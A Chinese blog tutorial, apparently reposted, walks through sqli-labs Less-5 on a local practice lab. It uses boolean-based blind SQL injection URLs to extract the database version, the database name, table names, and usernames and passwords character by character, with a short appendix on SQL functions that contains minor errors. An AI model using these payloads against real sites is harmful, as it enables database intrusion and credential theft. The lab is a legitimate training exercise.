sqli-labs-master第五关Less-5 Double Query- Single:方式一

简介:

由于第三四关和第一第二关大致相同,我就不写了。


接下来来写第五关的第一种方式。




1,目标网站:



http://127.0.0.1/sqli-labs-master/Less-5/?id=1


当传递的ID为1的时候提示“you are in”


1.png


2,查找注入点:  

http://127.0.0.1/sqli-labs-master/Less-5/?id=1返回错误


当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。


2.png


说明把“1’”带入数据库查询了,所以存在注入点


3,查看版本信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

返回正常

3.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23


返回错误 所以数据库版本是5.0

4.png



4,判断数据库长度:


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

返回错误

5.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

返回正确

6.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

返回错误

所以数据库的名称是8位构成

7.png


5,猜测数据库名称(从第一位开始猜):

1>猜第1

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23

返回错误

说明第一位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23

返回正确

所以第一位是s

 

1>猜第2

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23

返回正常


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23

返回错误

说明第二位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23

返回正确

所以第二位是e

以此类推,直到推出第8位:最后数据库为security


6,猜测数据库(security)中的表:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n

说明:

a是从0开始第几个表,b是为第几个字符,nASCII所对应的十进制数



7,猜用户:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from S. Morder by  id  limit A,1),B,1))=%23

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

8.猜用户和密码:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23 

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23



附录:


substr()用于字符串加减


ord()将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98; 


mid() :字符串截取函数


语法: mid(字符串,指定截取位数,截取N个)


示例


B6=123456789abcdef      =mid(B6,1,13)    结果= 123456789abcd    





IFNULL(expr1,expr2)  


如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。



cast()函数:


参考博客:http://www.studyofnet.com/news/109.html


(1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:



SELECT CAST('12' AS int)



(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值,又会出现什么情况呢?



SELECT CAST('12.5' AS int) 



(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示,所以对这个函数调用将产生一个错误:


微信公众号



1.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2062354


相关文章
打印文档即提示Print driver host for 32bit applications
主机win7 32位系统,打印一切正常,共享打印机后,客户机为win7 64位系统连接该共享打印机,连接成功,驱动安装正常,x64驱动,客户机打印测试页正常,但打印文档即提示Print driver host for 32bit applications。
6301 0
打印文档即提示Print driver host for 32bit applications
|
5月前
|
关系型数据库 MySQL 数据库
连接MySQL时报错:Public Key Retrieval is not allowed的解决方法
连接MySQL时报错:Public Key Retrieval is not allowed的解决方法
165 1
cdo 合并nc文件时,报错:Error(cdf_put_vara_double):NetCDF:Numeric conversion not representable
cdo 合并nc文件时,报错:Error(cdf_put_vara_double):NetCDF:Numeric conversion not representable
|
关系型数据库 MySQL
《Three steps to clustering your MySQL Environment--MNC、MGC与MIC》电子版地址
Three steps to clustering your MySQL Environment--MNC、MGC与MIC
58 0
《Three steps to clustering your MySQL Environment--MNC、MGC与MIC》电子版地址
|
关系型数据库 MySQL Go
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。错误显示及解决办法。
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。
SAP PM 入门系列18 - IP25为维护计划 Set Deletion Flag
SAP PM 入门系列18 - IP25为维护计划 Set Deletion Flag
SAP PM 入门系列18 - IP25为维护计划 Set Deletion Flag
jMeter CSV Data set config 的 sharing mode 和 Thread group loop 配合使用
jMeter CSV Data set config 的 sharing mode 和 Thread group loop 配合使用
133 0
jMeter CSV Data set config 的 sharing mode 和 Thread group loop 配合使用
|
SQL C++ 索引
SQL Server-比较ROW_NUMBER VS TOP N查询性能差异
ROW_NUMBER VS TOP N 抱歉各位,从八月份开始一直在着手写EntityFramework 6.x和EntityFramework Core 2.0的书籍写作,所以最近一直遗漏了对博客的管理,后面会着手于写SQL Server、EntityFramework Core和.NET Core方面的博客。
1998 0